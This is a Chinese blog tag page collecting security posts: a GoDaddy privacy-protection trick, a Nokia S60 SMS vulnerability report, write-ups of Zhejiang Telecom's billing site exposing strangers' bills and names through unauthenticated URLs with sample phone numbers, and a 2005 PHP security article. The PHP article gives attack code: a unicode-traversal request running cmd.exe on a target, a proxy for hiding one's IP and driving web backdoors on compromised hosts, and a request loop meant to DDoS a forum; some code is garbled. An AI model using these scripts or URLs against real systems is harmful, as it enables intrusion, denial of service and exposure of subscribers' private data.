标签 security 下的文章

本来这篇文章一直保存在草稿箱中,还没想好何时发布。现在即将离开 Godaddy(以下简称“GD”) 了,我就留给大家一些念想吧。至于离开的原因,请持续关注本博更新。

众所周知,某种情况下我们需要为域名添加隐私保护;又众所周知,很多注册商的此项服务是收费的。先前 Name.com 免费过一阵子,新开就送一年隐私保护;后来天朝人民一起上,他们也很吃不消,于是就收费了。GD 的隐私保护服务一直是收费的,单价 $9.99;听说有过 $3.99 的优惠,也听说有 cjcprivate 这个优惠代码,但前者有有效期,后者要求原价注册,终究不是对付 GD 的办法。

有一次我准备为 GD 帐号下所有域名添加免费隐私保护,刚进到购物车就被吓到,于是反复折腾后出现了这个方法:

1、在首页点击“Domain Transfers”,开始提交域名转入,如下图所示:

2、点击下图红框中链接,提交批量转入:

3、请至少提交 5 个域名的转入,然后下一步:

- 阅读剩余部分 -

我是今年 1 月 2 日在 CB 上看到有关这个事情的新闻,当晚就短信通知了我身边使用 Nokia 智能手机的朋友,并致电 Nokia Care Line(4008800123)咨询相关情况。诺基亚客服称暂时没有接到用户举报,他们会继续关注这个情况,并让我留下了联系方式。

第二天有人在 CB 上给出了临时解决方案和最早发现这个漏洞的德国 Chaos Computer Club 组织(域名可能被 walled)所演示这个漏洞的一个视频

随后的几天,其他媒体开始反应过来,纷纷报道

其实国内最早发布这则新闻的是这个网站。这个页面显示试验这个漏洞的过程,并提供专杀工具的汉化版下载

该漏洞涉及机型如下:

1、S60 3rd Edition,Feature Pack 1(S60 3.1):
Nokia E90 Communicator、Nokia E71、Nokia E66、Nokia E51 、Nokia N95 8GB、Nokia N95、Nokia N82、Nokia N81 8GB、Nokia N81、Nokia N76、Nokia 6290、Nokia 6124 classic、Nokia 6121 classic、Nokia 6120 classic、Nokia 6110 Navigator、Nokia 5700 XpressMusic。

2、S60 3rd Edition,initial release(S60 3.0):
Nokia E70、Nokia E65、Nokia E62、Nokia E61i、Nokia E61、Nokia E60、Nokia E50、Nokia N93i、Nokia N93、Nokia N92、Nokia N91 8GB、Nokia N91 、Nokia N80、Nokia N77、Nokia N73、Nokia N71、Nokia 5500、Nokia 3250。

3、S60 2nd Edition,Feature Pack 3(S60 2.8):
Nokia N90、Nokia N72、Nokia N70。

4、S60 2nd Edition,Feature Pack 2(S60 2.6):
Nokia 6682、Nokia 6681、Nokia 6680、Nokia 6630。

通过国外研究者的报告以及 CNPDA 的验证,发现:
1、S60 2.8 / 3.1 系统的诺基亚手机,在收到十余条该短信时会出现“内存不足,请先删除一些短信”类似提示,并且无法收到新短信。
2、其他上述提及系统的诺基亚手机,收到一条该短信后便无法收到新短信,且无任何提示。

鉴于该漏洞的严重危害性,请所有使用上述机型的机友:
1、S60 3.1 系统的手机,进入短信息收件箱时,出现“内存不足,请删除一些短信”等提示时,很可能已经中招。
2、其他上述提及但非 3.1 系统的手机,长时间收不到短信息。

据分析,这个漏洞是利用了手机电子邮件程序代码段的内存溢出。程序在处理有特殊伪造的信息时,由于控制不严导致内存越界,从而被利用。到底是一段什么代码呢?出于人道主义考虑,我就不再重复张贴漏洞利用方式了,在这里你或许可以找到答案和一些相关的情况描述。

另外,你还可以在这里这里看到一些已经遭受伤害的同学的经历和具有献身精神的小白鼠做的实验过程。

大约在 1 月 7 日的时候,诺基亚终于回应称“正与运营商商谈解决”。

截至今天的更多的信息,可以通过这里查阅。

对德国组织发布的视频感兴趣的朋友,可以在这里下载到。

关于专杀工具,除了上面说的 CNPDA 可以下载到以外,还可以在这里下载。另外我这里也提供一份专杀工具的分流下载吧。

最后,和谐地祝愿与我一样使用 Nokia 智能机的朋友好运。

春节期间实在不想出门,所以在网上给自己的电话缴费,结果发现浙江电信缴费网站上的一个设计缺陷,于是乎发了一篇文。据说后来这文章曾被朋友投递到 cnbeta,我去看时已经删除了。然后我看到网友 Billwang 发表评论说漏洞已被修复,随后我证实了这一信息。再后来浙江电信的叔叔阿姨就找到了我,详情可以看这个截图

说实话,经过这件事情,我对浙江电信的工作效率和工作态度的认知有了一个较大的改变。由于工作的原因,平时与电信部门的官员打交道也不少。在我的认知中看来,像这样的问题起码需要两个月时间解决:基层工作人员发现问题,上报主管;主管平时工作较忙,在一周内提交到技术部门的负责人核实;技术部门老大的工作就更忙,于是又需要一周的时间安排查证工作;然后搞技术的小伙子也很懒,也需要一周的时间磨洋工;磨出来之后将结果反馈给老大,这时已经过去大半个月了;随后技术部门的老大将报告提交到主管经理,主管经理需要一周时间审核这份报告,随后报送分管领导;分管领导在接到文件后的一周召开讨论会,讨论是否需要将这份报告提交上级主管单位;讨论会结束后,小秘整理会议纪要,报送接口人向上级主管单位转达文件;后者接到文件后又开始一个新的轮回……

总而言之,他们这次的反映速度和解决问题的耗时让我非常惊讶。当然,能找到我本人也是情理之外、意料之中。在表扬了浙江电信某些同学的工作能力后,让我们继续关注一下他们在网上收钱的工具目前运作的如何。

首先登录浙江电信网上客服中心

选择导航栏的“自助服务”:

选择左下角的“充值交费”(事后我发现这个地址居然可以直接访问,并不需要事先登录):

与上次一样,填入要查询话费信息的电话号码:

又见阿里巴巴集团欠费 90 万元:

通过观察其实不难发现,在这个查询过程中,整个浏览器的 URL 是不改变的。也就是说这个页面使用了嵌入式框架,我们在框架页面上点击右键,查看页面属性:

将这个 URL 直接复制到新窗口中打开,依然有效:

我原以为是 session 或者 cookie 在起作用。在我退出登录后再次刷新页面,结果依旧。然后我在浏览器中直接打开这个地址:http://www.114mall.cn/ctpay,结果是这样的:

综合页面报错提示和 URL 的构造规律来看,被查询话费的号码信息确实通过 GET 方式传递到相关脚本。另外,我很惊奇的发现,每次打开 http://www.114mall.cn/ctpay 这个地址所被重定向的 URL 地址都不同,但都类似这样:

除了上面截图中红框中所显示的字符串外,还可能会有类似“qraxw2ih5dw1iuzy0vrzao45”、“eisxsp55xebbz2455xvfllji”、“52jklvayi0zir245cdlspu3s”等等不同的字符串组合,每次随着页面的刷新或者重定向而不同。经过对 URL 参数的筛选,我们可以构造出这样的地址:

http://www.114mall.cn/ctpay/(qraxw2ih5dw1iuzy0vrzao45)/index.aspx?queryNo=85027110&areaId=571

http://www.114mall.cn/ctpay/(eisxsp55xebbz2455xvfllji)/index.aspx?queryNo=88157858&areaId=571

http://www.114mall.cn/ctpay/(52jklvayi0zir245cdlspu3s)/index.aspx?queryNo=88156688&areaId=571

类似这样的地址可以直接打开,并不需要用户登录。对于想查询话费信息的朋友,不需要登录,不需要任何验证,一个地址直接搞定,果然又“方便”了很多。相比上次的情况,只不过被查询的电话号码的户主未被显示罢了。如果发起有针对性的查询,一样可以获得相关信息。感谢中国电信贴心而和谐的服务,让我们鼓掌。

顺便说一下浙江电信的网站。目前所使用的是新版,地址为 http://www.zjtelecom.com.cn,想一睹浙江电信曾经的辉煌历史,敬请访问 http://www.zjtelecom.com.cn:90。请注意,在您浏览的时候,请自觉的发出啧啧的赞叹声。谢谢合作。

春节是一个容易让大部分国人变得懒惰的节日。每天好吃好喝之后就犯困,要么睡大觉,要么 KTV、泡吧……总之就是应了一句话:“饱暖思淫欲”。在这样一个节日里,我也明显感受到了生活的无趣。我不是工作狂,但我一直坚信工作、生活密不可分,缺一不可。这几天彻底闲下来,直接导致我的反应能力下降;随之而来的是慵懒,懒得出门、懒得走路、懒得打电话拜年,甚至懒得吃饭、懒得睡觉。

为了避免大脑生锈,这里顺便分析一下“懒得出门”这样的短语,用 lucky说就是“咬文嚼字”。“懒得出门”这个短语最容易产生歧义的地方就是这个“得”字,因为“得”有很多种意思。《南史·陶潜传》中有云“开郑有得,便欣然忘食。”这里的“得”作名词,有“收获、心得”之意。而《史记·项羽本纪》中“君为我呼入,吾得兄事之。”这里的“得”是副词,有“必须、应该”的意思。在某些语境中,“得”还通假“德”;如《荀子》中所述“尚得推贤不失序。”此外,“得”还可以作动词,解释成“得到、获得”。而这里的“得”用在形容词“懒”的后面,连接表示程度或结果的补语“出门”,基本上算一个连接助词。“懒得出门”与“红的发紫”表意不同,前者表示懒惰到不想出门,而不是懒惰到我出门了;后者表示很红,以致于快发紫了。

我终于意识到,在我写下如此知音的标题后,眼看前面又说了这么多废话,几乎快赶上标题党了。马上开始正文。

由于一直懒得出门,所以对于电信的催缴话费的电话通知也置若罔闻。今天白天在睡梦中被这样一个电话活生生吵醒,非常郁闷:眼看青蛙已经变成了王子,正要去吻沉睡的公主,就突然没了下文。不知道公主是苏醒了过来,还是突然变成了青蛙。为了避免以后再发生此类事情,我给 10 的 4 次方去了电话,咨询能否网上支付固话账单。对方的回复是这样的:“尊敬的中国电信用户,您咨询的缴费方式目前暂未开通。您可以选择去您当地就近的营业厅办理缴费或其他业务。给您带来不便,我们深表歉意。中国电信感谢您的理解、关心与支持,祝您新春愉快、万事如意。您若还有其他疑问,欢迎您随时致电中国电信客服一万号,我们将随时恭候您的垂询。再见。”我总结了一下,两个字:不行。

随后我在搜索引擎的结果中找到一个“中国电信网上客服中心”,然后又看到各地的分站。为了确认他的权威性,我找到这个域名的 whois 记录。不出意外的话,这是官方的“网上客服中心”了,不知道电信为何没有人去宣传,甚至有工作人员对此一无所知。

我根据页面上的提示,用电话号码注册了一个帐号,登录后开始寻找为固话交费的地方。在“自助服务”下面,我找到了“话费查询”,然后终于看到“缴费”字眼了:

点击“缴费”按钮居然来到另外一个 URL:http://www.114mall.cn/ctpay/。这让我感觉到一点发现新大陆似的好奇。初步测试了一下,这个地址不能直接访问,否则会提示“参数错误”。由于 URL 后面很干净,看样子数据是 POST 过去的。如果提交的数据正确,这时页面上会显示待缴电话账户的欠费情况。我把欠款结清之后再次看到这个页面,发现是这样的:

我回到“自助服务”,发现左侧栏目中有一项“充值缴费”,试着点击了一下:

填上自家电话号码,提交:

我想了一想,如果填写的是别人的电话号码呢?我试了一下,结果非常骇人:

看来中国电信的业务透明度实在已经达到了一个非常的境界,连自家公司的电话费用都可以查到,而且户主姓名也很精确:

对于小灵通也基本一样,但查询不到号码的户主姓名:

我隐约觉得,这个功能一定是中国电信所有业务中最好、最强大的一个业务。他似乎不仅能查全国(因为查询地区可以切换)的电信固定电话与小灵通账单,还能查到固话号码所对应的户主。简直就是免费的 114,堪比您的私家侦探。且该业务目前处于免费试用期,欢迎广大新老朋友试用:)

YY 广告了一把。

事后我发现在那个叫做“百事通商城”的网站上注册一个帐号,同样也能查询到上述信息:

登录后点击左侧“固话缴费”按钮可以查询到“各种”固话账单,点击“小灵通充值”按钮可以查询到“各种”小灵通余额或欠费信息:

固定电话查询:

小灵通查询:

于是,从现在开始起,我从心底里真心佩服中国电信;无论是他那优质的服务,还是他那无畏的胆量。根据我的主观分析,固话账单也好、小灵通余额也好,都是客户的隐私信息。每一个电信业务,都意味着中国电信以甲方身份与客户签有协约。所谓“言者无意、听者有心”,泄露客户资料对中电信这样的国家级企业来说一定无所谓;但对于最终用户来说,可能有时候就会造成很大的影响。而这一切祸水的来源,都是这个 114mall.cn 的网站。在好奇心的驱使下,我查看了这个域名的 whois 信息,结果又惊讶了一回……

1、远程文件

PHP 是一门具有丰富特性的语言,它提供了大量函数,使程序员能够方便地实现各种功能,远程文件就是一个很好的例子:

<?php
$fp 
= @fopen($url"r") or die ("cannot open $url");
while (
$line = @fgets($fp1024)) {
    
$contents .= $line;
}
echo 
$contents//显示文件内容
fclose($fp); //关闭文件
?>
以上是一段利用 fopen 函数打开文件的代码,由于 fopen 函数支持远程文件,使得它应用起来相当有趣,将以上代码保存为 proxy.php,然后后提交:

/proxy.php?url=http://www.xxx.com fopen 函数可以从任何其 Web 或 FTP 站点读取文件,事实上 PHP 的大多数文件处理函数对远程文件都是透明的,比如请求:

/proxy.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir 这样实际上是利用了 target 主机上的 unicode 漏洞,执行了 dir 命令。但并不是所有的服务器都支持远程文件的功能,如果你使用的是商业的服务器,很可能会发现远程文件使用不了(如 51 的虚拟主机),这是因为在商业主机上限制远程文件的功能,往往能够更好的保护服务器的正常运行。你可以通过 phpinfo() 查看服务器是否支持这种功能。当然,在 phpinfo() 被禁用的情况下,也可以使用 get_cfg_var()

<?php
echo "是否允许使用远程文件(allow_url_Fopen)";
get_cfg_var("allow_url_Fopen") == "1" ? echo("<font color=green><b>是</b></font>") : echo("<font color=red><b>否</b></font>");
?>
当 allow_url_fopen 一项参数为 on 时,即支持远程文件的功能。充分发挥远程文件的特性,我们可以实现许多特殊的功能:如果你是用过 PHP Flame 的最新版本,你会发现它在集文件夹复制、文本搜索等功能的基础上,又增加了 Web 间文件传输的功能,依靠这种功能,你可以随意将其他服务器上的文件传送到你的 Web 目录下。而且,在两台服务器间传送文件有着飞快的传输速度。我们看看实现这个功能的代码:

<?php
$fp 
fopen($_GET['filename'], 'rb'); //打开文件
$data $tmp '';
while (
true) {
    
$tmp fgets($fp1024);
    if ( 
=== strlen($tmp) ) {
        break; 
//跳出while循环
    
}
    
$data .= $tmp;
}
fclose($fp); //关闭文件
$file preg_replace("/^.+//"""$filename); //转换文件名
//write
$fp fopen("$file"'wb'); //生成文件
fwrite($fp$data); //写入数据
fclose($fp);
?>
在调用 fopen 和 fwrite 函数时加入 "b" 标记,可以使这两个函数安全运用于二进制文件而不损坏数据。在以上脚本提交:

/down.php?filename=http://www.xxx.com/xxx.zip 这时便会在 down.php 的所处目录下生成相应的 xxx.zip 文件。如果再配合遍历目录的功能,你将可以实现多个文件夹服务器间的传输。但是,远程文件应该还有更大的发挥空间,比如写 SQL Injection 攻击的自动脚本,甚至是 HTTP 的代理服务:

<?php
$url 
getenv("QUERY_STRING");
if (!
ereg("^http"$url)) //检查输入的URL格式
{
    echo 
"例子:<br />http://www.163.com/<br />";
    echo 
"http://www.xxxx.com/list.php?id=600<br />";
    echo 
"当URL为目录时需要在目录后加入"/"";
    exit;
}
if (
$url)
    
$url=str_replace("\\""/"$url);
$f = @fopen($url"r"); //打开文件
$a "";
if (
$f)
{
    while(!
feof($f))
    
$a .= @fread($f8000); //读取文件
    
fclose($f);
}
$rooturl preg_replace("/(.+/)(.*)/i","\\1",$url); //转换根目录
$a preg_replace("/(src[[:space:]]*=['"])([^h].*?)/is","\\1$rooturl\\2",$a);
$a = preg_replace("/(src[[:space:]]*=)([^h'"].*?)/is","\\1$rooturl\\2",$a); //转换图片地址
$a = preg_replace("/(action[[:space:]]*=['"])([^h].*?)/is"
,"\\1$php_self?$rooturl\\2",$a);
$a preg_replace("/(action[[:space:]]*=)([^h'"].*?)/is","\\1$php_self?$rooturl\\2",$a); //转换POST地址
$a = preg_replace("/(<a.+?href[[:space:]]*=['"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
$a = preg_replace("/(<a.+?href[[:space:]]*=[^'"])([^h].*?)/is"
,"\\1$php_self?$rooturl\\2",$a);//转换链接地址
$a preg_replace("/(link.+?href[[:space:]]*=[^'"])(.*?)/is","\\1$rooturl\\2",$a);
$a = preg_replace("/(link.+?href[[:space:]]*=['"])(.*?)/is","\\1$rooturl\\2",$a); //转换样式表地址
echo $a;
exit;
?>
在正则表达式的帮助下,以上代码能够自行地将返回页面中包含的链接和图片进行转换,并把页面内的链接自动提交到当前 PHP 脚本的 $url 中。例如提交:

/proxy.php?http://www.xfocus.net 脚本将会返回 http://www.xfocus.net 的内容。

当然,这运用的绝对不仅仅是框架的技巧。运用这个脚本你可以远程操作安置在其他服务器的 Web 后门,或者将肉鸡做成一个简单的 HTTP 代理,从而更好的隐藏自己的IP。如果使用 PHP 编写 CGI 扫描工具,你需要延长 PHP 的有效运行时间。以下是两种有效的方法,当然你也可以将 PHP 代码编译成 GUI 界面,从而解决这个问题。设置 PHP 的有效运行时间为三分钟:

<?php ini_set("max_execution_time",60*3); ?>
<?php set_time_limit
(60*3); ?>
我们再看看这种功能在 DDOS 攻击中的应用:

<?php
set_time_limit
(60*3);
$url "http://www.xxx.com/bbs/userlist.php?userid=";
for (
$i 1131$i <= 1180$i ++)
{
    
$urls $url $i//将$url与$i链接在一起
    
$f = @fopen($urls"r"); //请求$urls
    
$a = @fread($f10); //取出部分内容
    
fclose($f); //关闭$urls
}
?>
以上用 for 循环不断地请求 userlist.php?userid=$i 的内容($i 的值每次都是不同的),但是打开后仅仅取出几个字节便关闭这个脚本了。PHP 运行在虚拟主机上,10秒钟便可以打开几十个 URL,当同时运行多个进程时,便有可能实现 DDOS 攻击,让对方的论坛迅速崩溃。

2、错误回显

PHP 在默认的情况下打开错误回显,这样可以便于程序员在调试脚本时发现代码的错误,但是这也往往使 Web 暴露了 PHP 的代码和服务器的一些数据。PHP 对代码的规范性要求比较严格,以下是一种比较常见的错误回显:

warning:file("data/1120'.htm)-no such file or directory in /usr/home/xxxxx.com/show.php on line 300 这种错误回显,至少告诉了我们三个信息:服务器的操作系统是 Linux;服务器使用文本数据库;show.php 的第 300 行代码为 "file ("./data/1120/".$data.".htm")"。

这种错误回显,已经足以成为一台服务器致命的漏洞。从另一个利用的角度来看,我们发现一般的 PHP 错误回都包含了 "warning" 字符,但是这有什么用呢?我们得先认识一下 PHP 的库文件。

PHP 的 include()require() 主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。
最初,人们开发和发布 PHP 程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个 ".inc" 的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被 PHP 解释器正确解析为 PHP 代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,这是因为当把 PHP 作为 Apache 的模块使用时,PHP 解释器是根据文件的扩展名来决定是否解析为 PHP 代码的。扩展名是站点管理员指定的,一般是 ".php", ".php3" 和 ".php4"。如果重要的配置数据被包含在没有合适的扩展名的 PHP 文件中,那么远程攻击者将容易得到这些信息。
按照以往的程序员的习惯,往往会把一些重要的文件设定 "config.inc", "coon.inc" 等形式,如果我们在搜索引擎中搜索 "warning+config.inc",那么你会发现许多网站都暴露了 ".inc" 文件的代码,甚至包括许多商业和政府网站。

要关闭 PHP 的错误回显通常有两个方法,第一个是直接修改 php.ini 中的设置,这我们以前已经介绍过了;第二种方法是在 PHP 脚本中加入抑制错误回显的代码,你可以在调用的函数前函数加入 "@" 字符,或者在 PHP 的代码顶端加入 "error_reporting(0);" 的代码,要了解更多的内容请参考PHP手册中的 "error_reporting" 一节。

3、变量回显

Web 的安全问题主要集中变量的处理上,对变量的处理不当,会导致多种安全问题。先看一下的例子:

<select name="face">
<option value="1.gif">1.gif</option>
<option value="2.gif">2.gif</option>
......
$face 的值按照程序员的意图应仅设定在下拉菜单中供用户选择,但是事实上我们可以通过 POST 的方法直接指定 $face 的值骗过程序:

&data=……" target="_blank">http://target/bbs/edit.php?action=reface&u...t>&data=...... 程序接到 $face 的值后未经过任何处理,便将它显示出来了:

<img scr ="<?php echo $face?>" > 从而导致了跨站脚本攻击等安全问题,用这种方法,你甚至可以向 PHP 文本数据库中写入 WebShell。作为程序员,你可以使用正则表达式检查用户的输入内容。如:

<?php
if (ereg (">",$face)) {
echo 
"头像有误";
exit;
}
?>
这仅是一种简单的检查方法,不要依赖于 PHP 自动为特殊字符增加 "" 的功能,这样往往会让你得到意想不到的恶果。

PHP 就一门 CGI 语言而言,它的功能已不仅仅局限于编写网站,它的一些安全问题也不可避免的存在,如:PHP 的Safe Mode 并不能真正限制可执行脚本的运行;PHP 也可以编写 GUI 界面的程序;由于 "include" 等函数的存在使得 PHP 后门根本不可能被查杀;PHP 同样能够使用多线程处理命令。以不同的角度看 PHP,你才能更充分发挥它功能。

本文原载旧版博客 2005 年 8 月 27 日,用 lucky 的话说,这又是一次人肉转移